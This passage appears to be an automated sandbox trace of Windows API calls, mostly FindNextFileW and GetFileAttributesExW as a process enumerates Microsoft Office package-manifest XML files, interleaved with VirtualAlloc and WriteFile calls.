	[0274.239] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x618a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP2FE2~1.XML")) returned 1
	[0274.239] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP2C4B~1.XML")) returned 1
	[0274.239] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml", cAlternateFileName="APF00A~1.XML")) returned 1
	[0274.239] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834ab261, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~2.XML")) returned 1
	[0274.239] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP202C~1.XML")) returned 1
	[0274.239] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", cAlternateFileName="APBC30~1.XML")) returned 1
	[0274.239] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", cAlternateFileName="APCB35~1.XML")) returned 1
	[0274.239] VirtualAlloc (lpAddress=0xc0003fc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003fc000
	[0274.240] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP5E1E~1.XML")) returned 1
	[0274.240] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834ab261, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x80e56, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~3.XML")) returned 1
	[0274.240] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", cAlternateFileName="APE0B7~1.XML")) returned 1
	[0274.240] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP8BF9~1.XML")) returned 1
	[0274.240] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834f7581, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834f7581, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x212876, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.common.xml", cAlternateFileName="AP3FD6~1.XML")) returned 1
	[0274.240] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2667, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifestLoc.en-us.xml", cAlternateFileName="AP942B~1.XML")) returned 1
	[0274.240] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x175, dwReserved0=0x0, dwReserved1=0x0, cFileName="AuthoredExtensions.xml", cAlternateFileName="AUTHOR~1.XML")) returned 1
	[0274.240] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0274.240] VirtualAlloc (lpAddress=0xc0003fe000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003fe000
	[0274.240] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0274.242] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0) returned 0
	[0274.242] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834f7581, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834f7581, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5e91c)) returned 1
	[0274.286] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0274.287] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8351d7a8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8351d7a8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fd)) returned 1
	[0274.287] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0274.287] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc3863)) returned 1
	[0274.764] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0274.764] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1
	[0274.767] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0274.767] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x79381)) returned 1
	[0274.876] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0274.877] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ecd099, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1
	[0274.920] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0274.920] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3df10)) returned 1
	[0274.959] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0274.960] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1
	[0275.000] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.000] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x112a4e)) returned 1
	[0275.003] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.003] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4bfb)) returned 1
	[0275.004] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.004] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xba5e3)) returned 1
	[0275.005] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.005] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1
	[0275.005] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.005] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1
	[0275.006] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.006] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x863)) returned 1
	[0275.006] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.006] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x863)) returned 1
	[0275.006] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.006] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf982bd9c, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x34b4b)) returned 1
	[0275.043] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0275.043] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1
	[0275.044] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
